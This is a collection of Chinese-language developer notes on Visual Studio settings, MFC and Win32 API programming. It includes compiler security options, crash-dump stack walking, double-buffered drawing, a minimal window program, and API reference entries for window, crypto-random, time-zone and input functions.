# VS开发环境工具

## 开启安全相关选项

（1）GS（栈保护）：通过在栈中加入校验单元来防止出现缓冲区溢出错误。

（2）NXCOMPAT（与数据执行保护兼容）：DEP，也就是数据执行保护，可以有效降低堆或栈上的缓存溢出漏洞的危害性。采用NXCOMPAT选项后，应用程序的运行被DEP 机制保护。在考虑兼容性的前提下，建议开发人员采用NXCOMPAT链接选项。

（3）ASLR（地址空间分布随机）：是一种针对缓冲区溢出的安全保护技术，通过对堆、栈、共享库映射等线性区布局的随机化，通过增加攻击者预测目的地址的难度，防止攻击者直接定位攻击代码位置，达到阻止溢出攻击的目的。

为工程打开GF开关, 设置Runtime Library为Multi-threaded Debug (/MTd)

## 嵌入汇编

方法一:

\_\_asm 汇编语句1

\_\_asm 汇编语句2

方法二:

\_\_asm

{

汇编语句

}

## 快捷键

界面设置显示每个控件的Tab顺序:Ctrl + d

## 编码格式

\_T()根据当前的VS设定的编码格式来定义Unicode、Multibyte-character或SBCS编码

若当前编码为Unicode: TCHAR、\_stprintf\_s、LPCTSTR等，都会被替换成w\_char\_t之类的宽字符。 Sizeof(TCHAR)等于2。\_T等于L

若当前编码为其他:TCHAR、\_stprintf\_s、LPCTSTR等，都会被替换成char之类的窄字符。 Sizeof(TCHAR)等于1。\_T等于没有。

英文操作系统用Unicode编码， 否则中文会显示乱码。

若使用多字符集出现界面风格变化:

在stdafx.h文件中用替换则不会变化

#ifdef \_UNICODE

#if defined \_M\_IX86

#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='\*'\"")

#elif defined \_M\_IA64

#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='ia64' publicKeyToken='6595b64144ccf1df' language='\*'\"")

#elif defined \_M\_X64

#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='amd64' publicKeyToken='6595b64144ccf1df' language='\*'\"")

#else

#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='\*' publicKeyToken='6595b64144ccf1df' language='\*'\"")

#endif

#endif

#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='\*'\"")

## VS工具命令行编译

1 编译器 CL.EXE 将源代码编译生成目标代码。

2 链接器 LINK.EXE 将目标代码，库文件链接生成最终文件。

3 资源编译器 RC.EXE将资源编译，最终通过链接器存入最终的文件。

## VS中相关格式文件

### 预编译头文件(.pch)

所谓头文件预编译，就是把一个工程(Project)中使用的一些MFC标准头文件(如Windows.H、Afxwin.H)预先编译，以后该工程编译时，不再编译这部分头文件，仅仅使用预编译的结果。这样可以加快编译速度，节省时间。

编译器通过一个头文件stdafx.h来使用预编译头文件。stdafx.h这个头文件名是可以在project的编译设置里指定的。编译器认为，所有在指令#include "stdafx.h"前的代码都是预编译的，它跳过#include "stdafx. h"指令，使用projectname.pch编译这条指令之后的所有代码。

因此，所有的CPP实现文件第一条语句都是：#include "stdafx.h"。

另外，每一个实现文件CPP都包含了如下语句：

#ifdef \_DEBUG

#undef THIS\_FILE

static char BASED\_CODE THIS\_FILE[] = \_\_FILE\_\_;

#endif

这是表示，如果生成调试版本，要指示当前文件的名称。\_\_FILE\_\_是一个宏，在编译器编译过程中给它赋值为当前正在编译的文件名称。

.vcxproy 相当于VC6中 .dsp

.vcxproj.filters 用于项目下文件的虚拟目录

.vcxproj.user 是用户的一些相关配置

### 预处理文件(.l)

.i文件将宏替换生成到文件中， 此选项默认关闭， 在”工程属性->C++->预处理”位置。

### 增量链接文件(.ilk)

在第一次链接时则生成.ilk文件，其后链接则更新.ilk文件， 若.ilk文件不存着或损坏则全量链接。 .ilk文件开关在”工程属性->链接器->常规”位置。

### 程序数据库文件(.pdb)

Pdb文件保存着程序的调试信息。(不保存断点位置信息，断点位置信息保存在.suo文件中)。

### 目标文件(.obj)

Obj文件是程序编译后的二进制文件；在通过链接器和资源文件链接生成exe文件了。

### 无编译浏览文件(.ncb)

自动完成功能出问题时，删掉该文件， build会自动生成。

### 解决方案用户选项记录文件(.suo)

.suo文件在VS关闭后生成， 保存了一些用户操作记录，如断点位置、监视标识等信息。

### 解决方案文件(.sln)

.sln 相当于VC6中 .dsw

### 二进制资源文件(.aps)

可以删除， 每次VS自动生成。

## Tool选项介绍

可以添加新Tool , 执行Dos命令。

## MFC自带宏定义

1) THIS\_FILE (\_\_FILE\_\_)

获取当前文件名,  是字符串类型

2) MAKELONG

DWORD = MAKELONG(LWORD, HWORD) //将两个WORD合并DWORD

3) LOWORD、HIWORD

WORD = LOWORD(DWORD)  //获取DWORD的低WORD

WORD = HIWORD(DWORD)  //获取DWORD的高WORD

4) \_\_FUNCTION\_\_

获取当前函数, 是字符串类型

5) \_\_LINE\_\_

获取当前行号, 是整型。

1. MAX\_PATH

等于260，全路径最大长度

## # pragma介绍

1)  编译器优化(optimize)

#pragma optimize("",off);

memset(pwd, 0, sizeof(pwd));

#pragma optimize("",on);

2)  加载动态库引入库(.lib)

#pragma comment(lib, "imagehlp.lib") //表示和当前工程(.vcxproj)在同一路径下。

3)  在Dll中设置共享节，多个进程访问同一个数据

(1) 创建节

#pragma data\_seg("MySec") //节名称:不超过8个，若超过则截断

HWND g\_hWnd = NULL;    //必须初始化， 不然系统会自动将该变量放入BBS段，导致多个进程共享数据失败。

#pragma data\_seg()

(2) 设置节

方法一:

在创建节后面直接添加:

#pragma comment(linker, "/section:MySec,RWS") //设置工程连接选项。

方法二:在.def文件中设置节

在函数之后：

SEGMENTS

MySec    READ WRITE SHARED    //读写方式不区分大小写

(3) 使用Dumpbin命令查看Dll中共享节。

4)  设置结构体字节对齐

#pragma pack(1):按1个字节对齐

5)  屏蔽告警

#pragma warning( disable : 4503)    4503:告警号

## 制作安装包

利用VS生成基本安装包流程:

"文件"-->"新建"-->"项目"-->"新建项目"-->选中"项目类型"-->"安装和部署"-->"安装项目"-->"安装向导"， 最后在里面添加安装包所需文件(如exe)。

## 获取某个应用程序的资源

选择“File”=>”Open”=>”指定的应用程序”。

## 批处理

### 命令

 %cd%:表示当前批处理的目录， 随cd命令而改变。如cd d:\BT则%cd%表示D:\BT。

在调用其他批处理之前最好使用set命令保存其路径， 不然%cd%很可能会改变。

 set name=name1   name并不是替换name1,而是保存name1。如set FILENAME\_DEVENV=%PATH\_VS2010%\Common7\IDE\devenv.exe, //%PATH\_VS2010%是环境变量。

 %~dp0:表示当前批处理的目录，不受cd命令的影响。

 %加数字表示第几个参数。 如%0表示批处理本身，%1表示输入批处理的第一个参数。

 %%等价于Cmd中% , 变量的意思。

call表示调用另一个批处理。 如CopyFile.bat

@echo on表示打开控制台显示相关信息。

@rem表示注释, 如@rem 这是注释

if exist Compile.log ( //删除已有的文件

del Compile.log /f /q /s

)

echo表示显示相关文本内容如echo "start build..."

### 编译生成exe

"%VS100COMNTOOLS%"..\..\ Common7\IDE\devenv.exe BT\_GUI.sln /Rebuild Release /Out Compile.log

## 常见编译链接错误

### Windows程序包含.c文件出现预编译错误

错误字符串：precompiled header file is from a previous version of the compiler, or the precompiled header is C++ and you are using it from C (or vice versa)

解决方法一: 点击指定的.c文件中的属性，设置不包含预编译头文件。

### LINK : fatal error LNK1000: Internal error during IncrBuildImage

解决方法一:

属性(Property pages)->配置属性(Configuration Properties) ->C/C++修改调试信息格式(Debug Information Format)程序数据库(Program Database(/Zi))。

## 调试相关

### Debug模式下快速检测内存泄露

void CheckOnExit()

{

\_CrtSetDbgFlag ( \_CRTDBG\_ALLOC\_MEM\_DF | \_CRTDBG\_LEAK\_CHECK\_DF );

assert( \_CrtDumpMemoryLeaks() == 0);

}

Atexit(CheckOnExit); //在程序开始时调用，关闭程序后，若有内存泄露则信息出现在调试窗口。 有文件，行号，第几次申请内存信息。

若只有第几次申请内存信息，则在之后调用下面函数。

\_CrtSetBreakAlloc(52); //52表示第几次申请内存， 查看调用堆栈。

### DeBug模式下的调试输出窗口显示文本

TRACE(“%s”,“文本”);

### Debug模式下的断言操作

void\* p = NULL;

ASSERT(p );

### 远程调试

远程机(要调试的程序):将Common7\IDE目录下的Remote Debugger目录拷到远程机任意位置， 运行msvsmon.exe程序并设置无需身份认证,再运行调试程序。

本机:

方法一：VS中选择调试->附加到进程->传输(选择远程),限定符输入远程机IP。 点击刷新可看见远程机所运行的线程了。 选择要调试的程序，并附加即可。

方法二：在工程属性->调试设置。

远程命令：要调试的程序。

工作目录：要调试的程序目录。

远程服务器名：填写IP或计算机名。

连接：选择无身份认证。

### 程序崩溃产生原因信息

第一步: 在程序开始出调用SetUnhandledExceptionFilter函数，该函数的参数是个函数指针，在程序崩溃时会调用该函数指针对应的函数(回调函数)。

第二步: 回调函数的参数存放的造成崩溃的信息， 可对此信息做处理，如写dmp文件等。

错误码:

EXCEPTION\_ACCESS\_VIOLATION   (0xC0000005)  非法访问虚拟内存

EXCEPTION\_INT\_DIVIDE\_BY\_ZERO  (0xC0000094)     除数不能为零

EXCEPTION\_STACK\_OVERFLOW     (0xC00000FD) 堆栈溢出或者说越界

EXCEPTION\_GUARD\_PAGE      (0x80000001)  由Virtual Alloc建立起来的属性页冲突。

EXCEPTION\_NONCONTINUABLE\_EXCEPTION  (0xC0000025h)  不可持续异常,程序无法恢复执行,异常处理例程不应处理这个异常。

EXCEPTION\_INVALID\_DISPOSITION    (0xC0000026h)  在异常处理过程中系统使用的代码,如果系统从某个例程莫名奇妙的返回,则出现此代码,例如调用RtlUnwind时没有Exception Record参数时产生的异常填入的就是这个代码

EXCEPTION\_BREAKPOINT              (0x80000003)  调试时因代码中int3中断

EXCEPTION\_SINGLE\_STEP              (0x80000004)  处于被单步调试状态

EXCEPTION\_ARRAY\_BOUNDS\_EXCEEDED   (0xC000008C)

EXCEPTION\_DATATYPE\_MISALIGNMENT    (0x80000002)

EXCEPTION\_FLT\_DIVIDE\_BY\_ZERO     (0xC000008E)

EXCEPTION\_FLT\_DENORMAL\_OPERAND     (0xC000008D)

EXCEPTION\_FLT\_INEXACT\_RESULT          (0xC000008F)

EXCEPTION\_FLT\_INVALID\_OPERATION      (0xC0000090)

EXCEPTION\_FLT\_OVERFLOW         (0xC0000091)

EXCEPTION\_FLT\_STACK\_CHECK        (0xC0000092)

EXCEPTION\_FLT\_UNDERFLOW           (0xC0000093)

EXCEPTION\_ILLEGAL\_INSTRUCTION        (0xC000001D)

EXCEPTION\_IN\_PAGE\_ERROR    (0xC0000006)

EXCEPTION\_INT\_OVERFLOW    (0xC0000095)

EXCEPTION\_PRIV\_INSTRUCTION   (0xC0000096)

2)  完整实例

 HANDLE hProcess = GetCurrentProcess();

 HANDLE hThread = GetCurrentThread();

 bool   bOK    = false;

 vector<tagCrashDebugInfo> arrCallStackInfo;

SymInitialize(hProcess, NULL, TRUE);

 STACKFRAME64 sf = {0};

 DWORD  dwImageType = 0;

 sf.AddrPC.Mode = AddrModeFlat;

 sf.AddrStack.Mode = AddrModeFlat;

 sf.AddrFrame.Mode = AddrModeFlat;

 // 不同的CPU类型，具体信息可查询MSDN

#ifdef \_M\_IX86

 dwImageType = IMAGE\_FILE\_MACHINE\_I386;

 sf.AddrPC.Offset = c.Eip;    //c == 回调函数参数的CONTEXT结构体。

 sf.AddrStack.Offset = c.Esp;

 sf.AddrFrame.Offset = c.Ebp;

#elif \_M\_X64

 dwImageType = IMAGE\_FILE\_MACHINE\_AMD64;

 sf.AddrPC.Offset = c.Rip;

 sf.AddrFrame.Offset = c.Rsp;

 sf.AddrStack.Offset = c.Rsp;

#elif \_M\_IA64

 dwImageType = IMAGE\_FILE\_MACHINE\_IA64;

 sf.AddrPC.Offset = c.StIIP;

 sf.AddrFrame.Offset = c.IntSp;

 sf.AddrBStore.Offset = c.RsBSP;

 sf.AddrStack.Offset = c.IntSp;

#else

#error "Platform not supported!"

#endif

 while (true)

 {

  bOK = false;

  if (!StackWalk64(dwImageType, hProcess, hThread, &sf, &c, NULL, SymFunctionTableAccess64, SymGetModuleBase64, NULL))

  {  break;  }

  if (sf.AddrFrame.Offset == 0)

  {  break;  }

  tagCrashDebugInfo callstackinfo;

  memcpy\_s(callstackinfo.strFunctionName, MAX\_PATH, "N/A", 4);

  memcpy\_s(callstackinfo.strFileName, MAX\_PATH, "N/A", 4);

  memcpy\_s(callstackinfo.strModuleName, MAX\_PATH, "N/A", 4);

  memcpy\_s(callstackinfo.strLine, MAX\_PATH, "N/A", 4);

  // 得到函数名

  BYTE symbolBuffer[sizeof(IMAGEHLP\_SYMBOL64) + MAX\_PATH] = {0};

  IMAGEHLP\_SYMBOL64 \*pSymbol = (IMAGEHLP\_SYMBOL64\*)symbolBuffer;

  pSymbol->SizeOfStruct = sizeof(IMAGEHLP\_SYMBOL64);

  pSymbol->MaxNameLength = MAX\_PATH;

  if (SymGetSymFromAddr64(hProcess, sf.AddrPC.Offset, NULL, pSymbol))

  {

   memcpy\_s(callstackinfo.strFunctionName, MAX\_PATH, pSymbol->Name, MAX\_PATH);

   bOK = true;

  }

  // 得到文件名和所在的代码行

  IMAGEHLP\_LINE64 lineInfo = {0};

  DWORD dwLineDisplacement = 0;

  lineInfo.SizeOfStruct = sizeof(IMAGEHLP\_LINE64);

  if (SymGetLineFromAddr64(hProcess, sf.AddrPC.Offset, &dwLineDisplacement, &lineInfo))

  {

   memcpy\_s(callstackinfo.strFileName, MAX\_PATH, lineInfo.FileName, MAX\_PATH);

   sprintf\_s(callstackinfo.strLine, "%d", lineInfo.LineNumber);

   bOK = true;

  }

  // 得到模块名

  IMAGEHLP\_MODULE64 moduleInfo = {0};

  moduleInfo.SizeOfStruct = sizeof(IMAGEHLP\_MODULE64);

  if (SymGetModuleInfo64(hProcess, sf.AddrPC.Offset, &moduleInfo))

  {

   memcpy\_s(callstackinfo.strModuleName, MAX\_PATH, moduleInfo.ModuleName, MAX\_PATH);

   bOK = true;

  }

  if (bOK)

   arrCallStackInfo.push\_back(callstackinfo);

 }

 SymCleanup(hProcess);

回调函数编写:

 EnterCriticalSection(&CDebugMain::s\_Critical); //注意加锁，否则在多线程中出现异常会进入多次导致写dmp文件冲突。

 vector<tagCrashDebugInfo> vec = DebugInfoFunction(\*pException->ContextRecord);

 char  strInfo[1024] = {0};

 string strTotalInfo;

 sprintf\_s(strInfo, sizeof(strInfo), "-----------------------------------------[Time]:%s--------------------------------------\n", GetPresentTime().c\_str());

 strTotalInfo = strInfo;

 for (UINT i = 0; i < vec.size(); i++)

 {

  if (strcmp(vec[i].strLine, "N/A") || strcmp(vec[i].strFileName, "N/A"))

  {

   sprintf\_s(strInfo, sizeof(strInfo), "[ModuleName]:%s\n[FileName]:%s\n[FunctionName]:%s\n[LineNumber]:%s\n\r",

   vec[i].strModuleName,

   vec[i].strFileName,

   vec[i].strFunctionName,

   vec[i].strLine);

  strTotalInfo += strInfo;

  //break;

  }

 }

 sprintf\_s(strInfo, sizeof(strInfo), "[Reason]:%s\n\r" ,ErrorReason(pException->ExceptionRecord->ExceptionCode).c\_str());

 strTotalInfo +=  strInfo;

 CreateDumpFile(CDebugMain::s\_strDmpFileName.c\_str(), strTotalInfo.c\_str());

 MessageBox(NULL, "Program encountered serious problems, please contact the developer to see dmp log", "Error", MB\_OK);

 LeaveCriticalSection(&CDebugMain::s\_Critical);

注意:

使用VS2005时由于没有禁用CRT(C语言运行库)，则有些异常不能捕获， 解决方法如下:

#ifndef \_M\_IX86

#error "The following code only works for x86!"

#endif

void DisableSetUnhandledExceptionFilter()

{

  unsigned char code[16];

  int size = 0;

  code[size++] = 0x33;

  code[size++] = 0xC0;

  code[size++] = 0xC2;

  code[size++] = 0x04;

  code[size++] = 0x00;

  DWORD dwOldFlag, dwTempFlag;

  VirtualProtect(SetUnhandledExceptionFilter, size, PAGE\_READWRITE, &dwOldFlag);

  WriteProcessMemory(GetCurrentProcess(), SetUnhandledExceptionFilter, code, size, NULL);

  VirtualProtect(SetUnhandledExceptionFilter, size, dwOldFlag, &dwTempFlag);

}

DisableSetUnhandledExceptionFilter函数使用在SetUnhandledExceptionFilter之后。

## 番茄插件

点击 “VAssistX”–>”Visual VAssistX Options”然后选择Suggestions,再点击”Edit VA Snippets”

注释:番茄插件自动添加

VAssistX->Insert VA Snippet->Eidt VA Snippets->Refactor Document Method  
函数模板  
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*  
// Method: $SymbolName$  
// Description:   
// Author: K@yee   
// Date: $DATE$  
// Returns: $SymbolType$  
// Parameter: $MethodArgName$  
// History:  
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/  
文件头模板  
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*  
// Copyright (C), 2012-2013, CS&S. Co., Ltd.  
// File name: $FILE\_BASE$.$FILE\_EXT$  
// Author: K@yee   
// Version: 1.0   
// Date: $DATE$  
// Description:   
// Others:  
// History:  
// <author> K@yee   
// <time> $DATE$  
// <version> 1.0   
// <desc> build this moudle   
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/

## 常见问题

### CWnd与CWindow

### HINSTANCE与HMOUDLE

HINSTANCE与HMOUDLE是相同的东西。模块句柄,实际上是一个不能做四则运算的无符号长整数。

### CWnd和HWnd的区别

HANDLE是操作系统内核对象句柄

HWND是窗口对象句柄，HWND是HANDLE的一种

CWND是窗口类, 窗口类中包含窗口句柄,其成员变量m\_hWnd就是对应的窗口对象句柄。

### 双缓冲绘图

原理:

1、在内存中创建与画布一致的缓冲区(dcMem.CreateCompatibleDC(pDC);

bmp.CreateCompatibleBitmap(&dcMem,rect.Width(),rect.Height());dcMem.SelectObject(&bmp))

2、在缓冲区画图 (dcMem.FillSolidRect(rect,pDC->GetBkColor()); )

3、将缓冲区位图拷贝到当前画布上(pDC->BitBlt(0,0,rect.Width(),rect.Height(),&dcMem,0,0,SRCCOPY); )

4、释放内存缓冲区 ( dcMem.DeleteDC();

 bmp.DeleteObject(); )

应用:

1. 简单双缓冲。

1、在内存中创建与画布一致的缓冲区

2、在缓冲区画图

3、将缓冲区位图拷贝到当前画布上

4、释放内存缓冲区

 在WM\_ERASEBKGND消息函数中使用,是该消息响应函数直接返回TRUE

 CPoint ptCenter

 CRect rect,ellipseRect;

 GetClientRect(&rect);

 ptCenter = rect.CenterPoint();

 CDC dcMem;

 CBitmap bmp;                                                dcMem.CreateCompatibleDC(pDC);

 bmp.CreateCompatibleBitmap(&dcMem,rect.Width(),rect.Height()); //第一个参数可以是&dcMem,因为之前已经调用了dcMem.CreateCompatibleDC(pDC);若没调用则可以将第一个参数换成pDC

 dcMem.SelectObject(&bmp);                          dcMem.FillSolidRect(rect,pDC->GetBkColor());

for(int i=20;i>0;i--)                                           {

 {

  ellipseRect.SetRect(ptCenter,ptCenter);

  ellipseRect.InflateRect(i\*10,i\*10);

  dcMem.Ellipse(ellipseRect);

 }

 pDC->BitBlt(0,0,rect.Width(),rect.Height(),&dcMem,0,0,SRCCOPY);

 dcMem.DeleteDC();

 bmp.DeleteObject();

### 图片

(1)   加载图片的方法一

该方法可以加载非Bitmap格式以外的格式。 在WM\_PAINT响应函数中添加

CImage image; (#include <atlimage.h>)

HRESULT h = image.Load("图片路径");//支持相对程序路径(如res\\图片名)

 image.Draw(GetDC()->m\_hDC,CRect(0,0,20,20));

(2)   加载图片并设置透明背景色

 CImage image; (#include <atlimage.h>)

HRESULT h = image.Load("图片路径);//支持相对程序路径(如res\\图片名)

image.TransparentBlt(GetDC()->m\_hDC, CRect(0,0,200,200),RGB(255, 255, 255));//该函数最后一个参数就是透明色

(3)   加载gif动态图片(使用CPictureEx类继承于CStatic类)

1. 工程加载.gif图片。

2. 创建并绘制动态图片

if (!m\_picture.GetSafeHwnd())

{m\_picture.Create(“”,WS\_CHILD | WS\_VISIBLE, CRect(0, 0, 0, 0), this, 1056);}

if (m\_picture.Load("res/Waiting.gif"))

{m\_picture.Draw();}

3.  卸载图片

if (m\_PictureWait.GetSafeHwnd()) //清除动态图片

{m\_PictureWait.UnLoad();}

 控制gif图片位置

 将CPictureEx类中的OnPain函数中的第一个if中的::BitBlt()函数替换下述函数

::StretchBlt(dc.m\_hDC, m\_PaintRect.left, m\_PaintRect.top, nPaintWidth,nPaintHeight, m\_hMemDC, 0,0,m\_PictureSize.cx, m\_PictureSize.cy,SRCCOPY);

在调用SetPaintRect函数设置图片位置。而Draw函数只在Load时调用一次就行了。

注意:Create函数创建的位置会影响SetPaintRect函数位置。

# Windows API编程

## 创建一个简单的窗口程序

#include <windows.h>

HINSTANCE g\_hInstance = 0;

void Message( )

{

MSG nMsg = { 0 };

//GetMessage函数从消息队列中取出消息，如果遇见WM\_QUIT消息直接返回0,

//不能使用PeekMessage(&nMsg, NULL, 0, 0,PM\_REMOVE)代替，如果队里没消息就返回0

while( GetMessage( &nMsg, NULL, 0, 0 ) )

{

TranslateMessage( &nMsg ); //将键盘消息转化

DispatchMessage( &nMsg ); //将消息传送给窗口过程处理

}

}

//窗口处理函数（用于处理消息）函数名必须使用WndProc

LRESULT CALLBACK WndProc( HWND hWnd, UINT nMsg,

WPARAM wParam, LPARAM lParam )

{

switch( nMsg )

{

//当发生窗口销毁消息时，调用PostQuitMessage函数,此函数会向消息队列中放入WM\_QUIT消息,

case WM\_DESTROY:

PostQuitMessage( 0 );

break;

}

return DefWindowProc( hWnd, nMsg, wParam, lParam ); //其他消息默认处理函数

}

//注册窗口类

BOOL Register( LPSTR lpClassName, WNDPROC wndProc )

{

WNDCLASSEX wce = { 0 };

wce.cbSize = sizeof( wce ); //该结构的字节数

//提供窗口类和窗口存放自己的数据的空间

wce.cbClsExtra = 200; //窗口类的附加数据大小

wce.cbWndExtra = 200; //窗口的附加数据大小

wce.hbrBackground = (HBRUSH)(COLOR\_WINDOW+1); //该窗口类所有的背景刷

wce.hCursor = NULL; //该窗口类所有的光标

wce.hIcon = NULL; //该窗口类所有的图标

wce.hIconSm = NULL; //该窗口类所有的小图标

wce.hInstance = g\_hInstance; //该窗口类的窗口过程所属的应用实例

wce.lpfnWndProc = wndProc; //窗口处理函数

wce.lpszClassName = lpClassName; //窗口类名称

wce.lpszMenuName = NULL; //该窗口类所有菜单资源

wce.style = CS\_HREDRAW | CS\_VREDRAW; //窗口类的风格

//开始注册窗口类

ATOM nAtom = RegisterClassEx( &wce );

if( nAtom == 0 )

return FALSE;

return TRUE;

}

//创建主窗口

HWND CreateMain( LPSTR lpClassName, LPSTR lpWndName )

{

HWND hWnd = CreateWindowEx( 0, lpClassName, lpWndName,

WS\_OVERLAPPEDWINDOW, CW\_USEDEFAULT,

CW\_USEDEFAULT, CW\_USEDEFAULT,

CW\_USEDEFAULT, NULL, NULL, g\_hInstance,

NULL );

return hWnd;

}

//创建子窗口

HWND CreateChild( LPSTR lpClassName, LPSTR lpWndName,

HWND hParent )

{

HWND hChild = CreateWindowEx( 0, lpClassName, lpWndName,

WS\_CHILD|WS\_VISIBLE|WS\_OVERLAPPEDWINDOW,

100, 100, 200, 200, hParent, NULL,

g\_hInstance, NULL );

return hChild;

}

void Display( HWND hWnd )

{

ShowWindow( hWnd, SW\_SHOW );

UpdateWindow( hWnd );

}

int APIENTRY WinMain(HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPSTR lpCmdLine,

int nCmdShow)

{

g\_hInstance = hInstance;

if( !Register( "Main", WndProc ) ) //注册窗口类

{

MessageBox( NULL, "注册失败", "Infor", MB\_OK );

return 0;

}

HWND hWnd = CreateMain( "Main", "window" ); //创建主窗口

Register( "CHILD", DefWindowProc ); //注册子窗口类

HWND hChild1 = CreateChild( "CHILD", "C1", hWnd ); //创建子窗口

HWND hChild2 = CreateChild( "CHILD", "C2", hWnd ); //创建子窗口

//SetExtra( hChild1 );

//GetExtra( hChild2 );

Display( hWnd ); //显示窗口

MoveWindow( hChild1, 300, 100, 200, 200, TRUE );

MoveWindow( hChild2, 500, 100, 200, 200, TRUE );

Message( ); //消息循环

return 0;

}

## 常用API函数

#### 获取窗口句柄

(1)HWND WindowFromPoint（POINT） //根据鼠标位置获取窗口句柄。

返回值: 包含该点的窗口的[句柄](http://baike.baidu.com/view/194921.htm" \t "_blank)。如果包含指定点的窗口不存在，返回值为NULL。如果该点在静态文本控件之上，返回值是在该静态文本控件的下面的窗口的句柄。不获取隐藏或禁止的[窗口句柄](http://baike.baidu.com/view/1452762.htm" \t "_blank)，即使点在该窗口内。

(2)HWND ChildWindowFromPoint (HWND, LONG, LONG); //根据鼠标位置获取窗口句柄。

能获取隐藏或禁止的[窗口句柄](http://baike.baidu.com/view/1452762.htm" \t "_blank)。

参数一: 父窗口句柄

参数二: X

参数三: Y

返回值: 指定点的第一个子窗口的句柄。如未发现任何窗口，则返回父窗口句柄。如指定点位于父窗口外部，则返回零。

(3) HWND GetActiveWindow(void) //获取当前活动窗口。

(4) HWND ::GetWindow(m\_hWnd, GW\_CHILD);通过父类窗口句柄获取子类窗口句柄

参数一: 父类窗口句柄

参数二: 标识, GW\_HWNDNEXT通过获取该窗口兄弟窗口句柄，根据Tab号顺序。

返回值: 子类窗口句柄。 若在对话框中，返回Tab序号为1的子类窗口

#### 判断窗口是否存在

1. BOOL IsWindow(HWND)

参数:窗口句柄

#### 通过窗口句柄获取该窗口类的类名称

1. int ::GetClassName(hWnd, clsName, 100)

参数一:窗口句柄

参数二;存放类名的缓冲区

参数三;缓冲区长度

返回值:存放到缓冲区的个数， 失败则为0。

#### 获取窗口的菜单

1. CMenu\* GetMenu(HWND)

参数:窗口句柄。

#### 生成真随机数

1. BOOL CryptAcquireContext(HCRYPTPROV\*, const char\*, const char\*, DWORD, DWORD) //创建或使用一个密钥容器

参数一: 密钥容器的句柄

参数二: 密码容器的名字，可以任取。

参数三: 常为NULL

参数四: PROV\_RSA\_FULL 供应商类型

参数五:一般设置0，若CRYPT\_NEWKEYSET则表示新建一个密钥容器。

返回值: 成功非0

1. BOOL CryptGenRandom(HCRYPTPROV, DWORD, BYTE\*)//用随机字节填充一区域。

参数一:密钥容器句柄

参数二:填充多少个字节到该区域

参数三:该区域的缓冲区。

返回值:成功非0

1. BOOL CryptReleaseContext(HCRYPTPROV, DWORD)释放密钥容器

参数二:保留字，必须0。

代码应用:

HCRYPTPROV hCryptProv;

BYTE pbData[16] = {0};

LPCSTR UserName = "MyKeyContainer";

CryptAcquireContext(&hCryptProv,UserName,NULL,PROV\_RSA\_FULL, 0);

if (GetLastError() == NTE\_BAD\_KEYSET) //密钥容器不存在

{

if(CryptAcquireContext(&hCryptProv, UserName, NULL, PROV\_RSA\_FULL,

CRYPT\_NEWKEYSET))

{//printf("A new key container has been created.\n");}

else{

//printf("Could not create a new key container.\n");

//exit(1);

}

}

CryptGenRandom(hCryptProv, 8, pbData);

CryptReleaseContext(hCryptProv,0);

#### 获取当地时区或夏令时

TIME\_ZONE\_INFORMATION tzi = {0};

GetTimeZoneInformation(&tzi);

tzi.Bias //时区 , 单位:分钟， 负为东， 正为西

tzi.StandardDate //退出夏令时时间 ,使用wYear 为0 的格式

tzi.DaylightDate //进入夏令时时间, 使用wYear 为0 的格式

tzi.DaylightBias //夏令时差, 单位:分钟， 负为调快时间， 正为调慢时间。

例如: wYear 为0 的格式

tzi.StandardDate.wYear = 0;

tzi.StandardDate.wMonth = 1;

tzi.StandardDate. wDayOfWeek = 0 //0表示星期日

tzi.StandardDate. wDay = 5; //5表示本月最后一个星期

UTC = Local + 时区(tzi.Bias) + 夏令时(tzi.DaylightBias) //还得判断根据本地时间是否处于夏令时范围判断是否需要夏令时。

#### 鼠标相关函数

1. BOOL GetCursorPos(LPPOINT) //获取当前鼠标坐标

参数位置相对屏幕。

1. void mouse\_event(DWORD,DWORD,DWORD,DWORD,DWORD)

模拟鼠标动作

参数一: 鼠标动作标识MOUSEEVENTF\_MOVE等

参数二: 鼠标X坐标

参数三: 鼠标Y坐标

参数四: 鼠标轮子转动的数量。

参数五: 一个关联鼠标动作辅加信息。

#### 键盘相关函数

1. void keybd\_event(BYTE,BYTE, DWORD, DWORD);

模拟键盘的动作

参数一: 虚拟键值,(范围1-254)MSDN搜索Virtual-Key Codes, 如VK\_CONTROL,Ctrl键。

参数二: 硬件扫描码, MapVirtualKey(VK\_CONTROL, 0)返回扫描码。

参数三: 动作标识, 如KEYEVENTF\_KEYUP放开, 0按下。

参数四: 与键盘动作关联的附加信息。

1. UINT MapVirtualKey(UINT, UINT)

参数一:要转换的。

参数二: 转换方式， 0表示从虚拟->扫描码， 1表示扫描码->虚拟。

返回值:翻译后的结果， 失败0。

1. BOOL GetKeyboardState(UCHAR\*)

获取键盘上所有按键的状态。 “按下”单字节最高位处于1，“触发” 单字节最低位处于1，如大写锁定键。其他状态为0。

参数:存放状态的256字节的无符号缓冲区。

1. int ToAscii(UINT,UINT,PBYTE,LPWORD,UINT);

将虚拟键转换字符。

(in)参数一: 虚拟键

(in)参数二: 扫描码

(in)参数三: 存放键盘所有按键状态缓冲区

(out)参数四:存放字符缓冲区。

(in)参数五; 0 表示不激活菜单

